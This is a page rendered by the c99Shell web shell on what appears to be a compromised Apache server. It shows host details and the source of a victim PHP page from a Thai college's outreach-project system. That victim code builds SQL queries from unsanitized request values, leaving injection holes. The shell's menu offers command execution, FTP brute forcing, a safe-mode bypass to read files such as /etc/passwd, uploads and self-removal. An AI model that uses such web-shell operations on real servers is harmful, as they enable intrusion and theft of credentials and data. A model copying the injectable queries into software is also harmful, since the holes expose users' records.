!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/director/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailOutreac.php (25.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        
        
        
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "edu_service_tb";
                   
          
$sql "Select * From  $myTable   Where    outreacId='$outreacId'   " ;
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
        
        
/**  Parameters  */
        //$params = "Status=2";
        
        /**  โฟลเดอร์ไฟล์เอกสาร */
        
$doc_path $_Config_live_site."/Plan_pic";            
         
$Path "../Plan_pic"
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.form1;
       if( (formObj.Research_name.value == "" ) && (formObj.Budget_year.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Budget_year.focus();    return false; }
       else if(formObj.Research_name.value == "" ) { alert("กรุณากรอก ชื่อผลงานวิจัย"); formObj.Research_name.style.backgroundColor='#F1F9FC'; formObj.Research_name.focus(); return false;} 
    //  if(formObj.importance.value == "" ) { alert("กรุณากรอก ความสำคัญและที่มาของปัญหา"); formObj.importance.style.backgroundColor='#F1F9FC'; formObj.importance.focus(); return false;} 
      else return true;
}
</script>
<script type="text/javascript" src="../js/nicEdit/nicEdit.js"></script>
<script language="JavaScript" type="text/JavaScript">
  function browse()
{
    form1.Filetex1.src = form1.Filetex1.value;
}
</script>
<script language="JavaScript" type="text/JavaScript">
  function browse()
{
    form1.Filetex2.src = form1.Filetex2.value;
}
</script>
<title>ข้อมูลโครงการวิชาการ</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="769" border="0" cellspacing="0" cellpadding="0">
      <form action="EditOutreac.php?outreacId=<?=$outreacId ;?>" method="post" enctype="multipart/form-data" name="form1" id="form1">
      <tr>
        <td width="769" height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <span class="NOTE">ข้อมูลโครงการ/กิจกรรมวิชาการ</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="370" align="center" valign="top"><table width="99%" height="1329" border="0" align="center" cellpadding="0" cellspacing="2" bgcolor="#FFFFFF" style="border:0px solid gray">
          <tr>
            <td width="100%" height="21" colspan="2"><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
          </tr>
          <tr >
            <td colspan="2" align="left" bgcolor="#FFFFFF">1.ชื่อโครงการ
              <input name="Project_name" type="text" id="Project_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Project_name'];?>" size="100" /></td>
          </tr>
          <tr>
            <td colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="2" align="left">2.ประเภทโครงการ แยกเป็น.ดังนี้</td>
            </tr>
          <tr>
            <td colspan="2" align="left">
              <label>
                <input name="M21" type="checkbox" id="M21" value="1" <?=(trim($rss["M21"])=="1")?"checked":"";?> />
              </label>
               บูรณาการการเรียนการสอน</td>
          </tr>
          <tr>
            <td colspan="2" align="left"><input name="M22" type="checkbox" id="M22" value="1" <?=(trim($rss["M22"])=="1")?"checked":"";?> />        
                      บูรณาการการกับงานวิจัย/บทความ</td>
          </tr>
          <tr>
            <td colspan="2" align="left"><input name="M23" type="checkbox" id="M23" value="1" <?=(trim($rss["M23"])=="1")?"checked":"";?> />
                บูรณาการการกิจการนักศึกษา</td>
            </tr>
          <tr>
            <td colspan="2" align="left"><input name="M24" type="checkbox" id="M24" value="1"<?=(trim($rss["M24"])=="1")?"checked":"";?> />
                พัฒนาบุคลากรด้านสุขภาพ</td>
            </tr>
          <tr>
            <td colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td height="16" colspan="2" align="left">3. กลุ่มเป้าหมาย </td>
          </tr>
          <tr>
            <td height="21" colspan="2" align="left"><label>
              <input type="radio" name="M3" id="radio" value="1" <?=(trim($rss["M3"])=="1")?"checked":"";?> /></label>
ประชาชนทั่วไป
<input type="radio" name="M3" id="radio3" value="2" <?=(trim($rss["M3"])=="2")?"checked":"";?> />นักเรียน/นักศึกษา&nbsp; <input type="radio" name="M3" id="radio4" value="3" <?=(trim($rss["M3"])=="3")?"checked":"";?> />
พยาบาลวิชาชีพ 
              </td>
          </tr>
          <tr>
            <td height="23" colspan="2" align="left"><input type="radio" name="M3" id="radio" value="4"<?=(trim($rss["M3"])=="4")?"checked":"";?> />
อาจารย์พี่เลี้ยง
  <input type="radio" name="M3" id="radio" value="5" <?=(trim($rss["M3"])=="5")?"checked":"";?> />
อื่นๆ ระบุ
<input name="M3_Detail" type="text" id="M3_Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['M3_Detail'];?>" size="50" />
</td>
          </tr>
          <tr>
            <td colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="2" align="left">4.การเสริมสร้างความเข้มแข็งให้กับชุมชนหรือองค์กรภายนอก </td>
          </tr>
          <tr>
            <td colspan="2" align="left"><input type="radio" name="M4" id="radio" value="Y" <?=(trim($rss["M4"])=="Y")?"checked":"";?> />
              ใช่ 
                <input type="radio" name="M4" id="radio" value="N" <?=(trim($rss["M4"])=="N")?"checked":"";?> />
                ไม่ใช่</td>
          </tr>
          <tr>
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="2" align="left">5.ผลการชี้นำ ป้องกัน  หรือแก้ปัญหาของสังคมในด้านต่างๆ</td>
            </tr>
          <tr>
            <td colspan="2" align="left"><input type="radio" name="M5" id="radio8" value="N" <?=(trim($rss["M5"])=="N")?"checked":"";?> />
              ไม่ใช่ 
                  <input type="radio" name="M5" id="radio" value="Y" <?=(trim($rss["M5"])=="Y")?"checked":"";?> />
                
ใช่ </td>
          </tr>
          <tr>
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td height="16" colspan="2" align="left">6.ระยะเวลาดำเนินการ </td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left"><table width="759" border="0" cellpadding="0" cellspacing="3">
              <tr>
                <td width="698">ปีงบประมาณ
                  <input name="Budget_Year" type="text" id="Budget_Year" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="checkNumeric()" value="<?=$rss['Budget_Year'];?>" size="5" maxlength="4" />
                  ปีการศึกษา
  <input name="AcademicYear" type="text" id="AcademicYear" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="checkNumeric()" value="<?=$rss['AcademicYear'];?>" size="5" maxlength="4" /></td>
                <td width="52">&nbsp;</td>
                </tr>
              <tr bgcolor="#FFFFFF">
                <td align="left"> วันที่ดำเนินงาน 
                
<input name="Location2" type="text" id="Location2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php 
                $sday 
$rss['Date_start'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>
           -
          <?php 
                $sday 
$rss['Date_finish'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>" size="40"  /></td>
                <td align="left">&nbsp;</td>
                </tr>
              <tr bgcolor="#FFFFFF" >
                <td align="left">วันที่รับสมัคร&nbsp;&nbsp;                  <input name="Location3" type="text" id="Location3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php 
                $sday 
$rss['Date_in'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>
           -
          <?php 
                $sday 
$rss['Date_out'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
            
?>" size="40"  /></td>
                <td align="left">&nbsp;</td>
                </tr>
              <tr bgcolor="#FFFFFF" >
                <td height="23" align="left">หน่วยงานที่รับผิดชอบ
                 
                  
                  <input name="Location4" type="text" id="Location4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php
         $Faculty_code 
=  $rss["Faculty_code"];
         
$sql "Select * From   faculty_tb Where Faculty_code='$Faculty_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Faculty_name] ";
         
?>" size="40"  />
                  </font></td>
                <td align="left">&nbsp;</td>
                </tr>
              </table></td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left"><p>7.สถานที่จัดบริการ</p></td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><input type="radio" name="M7" id="radio" value="1" <?=(trim($rss["M7"])=="1")?"checked":"";?> onclick="checkAssign1(this,form1.Location)"/>
              ในวิทยาลัย ระบุห้อง
                <input name="Location" type="text" id="Location" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Location'];?>" size="50" />
              </td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><input type="radio" name="M7" id="radio" value="2" <?=(trim($rss["M7"])=="2")?"checked":"";?> onclick="checkAssign2(this,form1.Location1)" />
                      นอกวิทยาลัย ระบุ
              <input name="Location1" type="text" id="Location1" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Location'];?>" size="50" />
            </td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">8.งบประมาณ</td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><input type="radio" name="M8" id="radio" value="1" <?=(trim($rss["M8"])=="1")?"checked":"";?> />
              งบวิทยาลัย</td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><input type="radio" name="M8" id="radio" value="2" <?=(trim($rss["M8"])=="2")?"checked":"";?> onclick="checkAssign1(this,form1.M8_Detail)"/>
              งบนอกวิทยาลัย ระบุ
                <input name="M8_Detail" type="text" id="M8_Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['M8_Detail'];?>" size="60" />
             (ระบุแหล่งงบประมาณ เช่น อบต/อบจ&nbsp; )</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">9.  การลงทะเบียน </td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><input type="radio" name="M9" id="radio" value="N" <?=(trim($rss["M9"])=="N")?"checked":"";?> />
              ไม่เก็บค่าลงทะเบียน&nbsp;&nbsp;&nbsp;
              <input type="radio" name="M9" id="radio" value="Y" <?=(trim($rss["M9"])=="Y")?"checked":"";?> onclick="checkAssign1(this,form1.Budget_fee)" /> 
              ลงทะเบียน  จำนวน
              <input name="Budget_fee" type="text" id="Budget_fee" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Budget_fee'];?>" size="5" onkeypress="checkNumeric()"  />
              บาท&nbsp;&nbsp;&nbsp; </td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">10. ผลของโครงการ</td>
          </tr>
          <tr align="center" >
            <td height="23" colspan="2" align="left">10.1  การบรรลุเป้าหมาย&nbsp; <input type="radio" name="M101" id="radio" value="1" <?=(trim($rss["M101"])=="2")?"checked":"";?> />
              ครบทุกข้อ&nbsp;  <input type="radio" name="M101" id="radio" value="2"  <?=(trim($rss["M101"])=="2")?"checked":"";?> onclick="checkAssign1(this,form1.M101_Detail)"  />
              ไม่ครบทุกข้อ ระบุ
              <input name="M101_Detail" type="text" id="M101_Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Detail'];?>" size="50"  />
  </td>
          </tr>
          <tr >
            <td height="21" colspan="2" align="left">10.2  คะแนนเฉลี่ยความพึงพอใจของผู้รับบริการ&nbsp; 
              <input type="radio" name="M102" id="radio" value="1" <?=(trim($rss["M102"])=="1")?"checked":"";?> />
              มากกว่า 3.51 ขึ้นไป
              <input type="radio" name="M102" id="radio" value="2"<?=(trim($rss["M102"])=="2")?"checked":"";?> />
              เท่ากับ
              3.51&nbsp;&nbsp;
              <input type="radio" name="M102" id="radio" value="3"<?=(trim($rss["M102"])=="3")?"checked":"";?> />
              น้อยกว่า 3.51</td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><p>10.3 จำนวนผู้เข้าร่วมโครงการ จำนวน
              <input name="Target_group" type="text" id="Target_group" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Target_group'];?>" size="5" />
              </font>คน</p></td>
          </tr>
          <tr align="center" >
            <td height="21" colspan="2" align="left"><input type="radio" name="M103" id="radio" value="1" <?=(trim($rss["M103"])=="1")?"checked":"";?> />
              เป็นไปตามเป้าหมาย &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <input type="radio" name="M103" id="radio" value="2" <?=(trim($rss["M103"])=="2")?"checked":"";?> />
มากกว่าเป้าหมาย&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type="radio" name="M103" id="radio" value="3"  <?=(trim($rss["M103"])=="3")?"checked":"";?> />น้อยกว่าเป้าหมาย</td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left">10.4 งบประมาณที่ใช้  ระบุ
              <input name="Budget" type="text" id="Budget" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Budget'];?>" size="10" />
             บาท 
              </td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><label>
              <input name="M104" type="checkbox" id="M104" value="Y" <?=(trim($rss["M104"])=="Y")?"checked":"";?> />
            </label>              เป็นไปตามที่กำหนด&nbsp;&nbsp;
  <input type="radio" name="M1041" id="radio" value="1" <?=(trim($rss["M1041"])=="1")?"checked":"";?> />
              น้อยกว่า&nbsp;&nbsp;
  <input type="radio" name="M1041" id="radio" value="2" <?=(trim($rss["M1041"])=="2")?"checked":"";?> onclick="checkAssign1(this,form1.M1041_Detail)" />
              มากกว่า
  <input name="M1041_Detail" type="text" id="M1041_Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['M1041_Detail'];?>" size="5" onkeypress="checkNumeric()"  />
 </td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left"><p>10.5 การสร้างรายรับให้กับสถาบัน 
              </td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><input type="radio" name="M105" id="radio" value="N" <?=(trim($rss["M105"])=="N")?"checked":"";?>/>              
                ไม่ใช่&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                <input type="radio" name="M105" id="radio" value="Y" <?=(trim($rss["M105"])=="Y")?"checked":"";?> onclick="checkAssign1(this,form1.Budget_colleg)" />
                ใช่ ระบุ จำนวน
                <input name="Budget_colleg" type="text" id="Budget_colleg" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Budget_colleg'];?>" size="5" onkeypress="checkNumeric()" />
บาท</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">10.6 ได้คะแนนการศึกษาต่อเนื่อง&nbsp;</td>
          </tr>
          <tr >
           <td height="23" colspan="2" align="left"><input type="radio" name="M106" id="radio" value="N" <?=(trim($rss["M106"])=="N")?"checked":"";?>/>
              ไม่ได้&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <input type="radio" name="M106" id="radio" value="Y" <?=(trim($rss["M106"])=="Y")?"checked":"";?> onclick="checkAssign1(this,form1.Cradit)" />
              ได้ ระบุ
              <input name="Cradit" type="text" id="Cradit" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['Cradit'];?>" size="5"  onkeypress="checkNumeric()"  />
คะแนน</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">10.7  วิทยากร&nbsp; </td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><label>
              <input name="M107" type="checkbox" id="M107"  onclick="checkAssign1(this,form1.LecturerIn),checkAssign2(this,form1.HoursIn)" value="1" <?=(trim($rss["M107"])=="1")?"checked":"";?>/>
            </label> 
              ภายในสถาบันจำนวน
              <input name="LecturerIn" type="text" id="LecturerIn" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['LecturerIn'];?>" size="5" onkeypress="checkNumeric()"  />
               คน  จำนวน
              <input name="HoursIn" type="text" id="HoursIn" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['HoursIn'];?>" size="5" onkeypress="checkNumeric()" />
              ชั่วโมง&nbsp;&nbsp;&nbsp;&nbsp; </td>
          </tr>
          <tr >
            <td height="23" colspan="2" align="left"><input name="M108" type="checkbox" id="M108" onclick="checkAssign1(this,form1.LecturerOut),checkAssign2(this,form1.HoursOut)" value="2" <?=(trim($rss["M108"])=="2")?"checked":"";?> />
              ภายนอกสถาบันจำนวน 
                <input name="LecturerOut" type="text" id="LecturerOut" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['LecturerOut'];?>" size="5" onkeypress="checkNumeric()"  />
              คน  จำนวน
              <input name="HoursOut" type="text" id="HoursOut" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rss['HoursOut'];?>" size="5"  onkeypress="checkNumeric()" />
             ชั่วโมง&nbsp;&nbsp;&nbsp;&nbsp; </td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">10.8 รายชื่อวิทยากร (กรอกตามจริง) </td>
          </tr>
          <tr >
            <td height="22" colspan="2" align="left"><a href="javascript:;" onclick="NewWindow('addInstructor.php?outreacId=<?=$outreacId?>','Detail','600','300','yes')"><img src="../picture/new.gif" alt=" บันทึกวิทยากร" width="16" height="16" border="0" /></a></td>
          </tr>
          <tr >
            <td height="22" colspan="2" align="left"><table width="459" border="0" align="left" cellpadding="1" cellspacing="1">
              <?php 
                     $query 
" SELECT *  FROM   edu_instructor    WHERE     outreacId='$outreacId'        ";
                    
$result4 mysql_query($query);
                
                           while(
$rs4 mysql_fetch_array($result4)){ ;
                
                         
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF" ;                        
                      
?>
              <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
                <td width="16" height="20" align="center"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                <td width="552" align="left"><?php  
            
                $sql 
"Select * From  instructor_tb it ,  edu_instructor et   Where   it.code ='$rs4[code]'  and   it.code = et.code  ";
                
$result6mysql_query($sql) or die("Error".mysql_error()); 
                
$rs6   mysql_fetch_array($result6);
                 echo  
$rs6['First_name'] . $rs6['Name'] ." &nbsp;"$rs6['Lastname']  ;  ?></td>
                <td width="21" align="center"><a href="javascript:;" onclick="NewWindow('DelOutreac.php?code=<? echo $rs6['code']?>','Detail','500','200','yes');"><img src="../images/icons/cross.png" width="16" height="16" align="absmiddle" border="0" onclick="return Conf<?=$rs6['code'];?>0(this)" alt="ลบข้อมูล" /></a></td>
              </tr>
              <?php
                
# while
              
?>
            </table></td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">10.9 รายชื่อคณะกรรมการ กรอกตามจริง</td>
          </tr>
          <tr >
            <td height="22" colspan="2" align="left"><input name="textfield2" type="text" disabled="disabled" id="textfield2" size="40" /></td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">11 .เอกสาร&nbsp;&nbsp;&nbsp;</td>
          </tr>
          <tr >
            <td height="70" colspan="2" align="left"><table width="565" border="0" cellpadding="1" cellspacing="6">
              <tr>
                <td width="171"> โหลดโครงการ</td>
                <td width="384">
                  <?php if( $rss['Filetex1'] != "" ) { ?>
                  <a href="<?=$doc_path;?>/<?=$rss['Filetex1'];?>" target="_blank"><img src="../images/icons/download.png" alt="ดาวน์โหลดไฟล์ <?=$rss['Project_name'];?>" border="0" /></a>
                  <?php } else { ?>
                  <img src="../images/icons/download_off.png" />
                  <?php ?>
               </td>
              </tr>
              <tr>
                <td>โหลดสรุปโครงการ</td>
                <td>
                  <?php if( $rss['Filetex2'] != "" ) { ?>
                  <a href="<?=$doc_path;?>/<?=$rss['Filetex2'];?>" target="_blank"><img src="../images/icons/download.png" alt="ดาวน์โหลดไฟล์ <?=$rs['Project_name'];?>" border="0" /></a>
                  <?php } else { ?>
                  <img src="../images/icons/download_off.png" />
                  <?php ?>
                </span></td>
              </tr>
            </table></td>
          </tr>
          <tr >
            <td height="16" colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr>
            <td height="24" colspan="2" align="center" bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
        </table>
        
          </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.018 ]--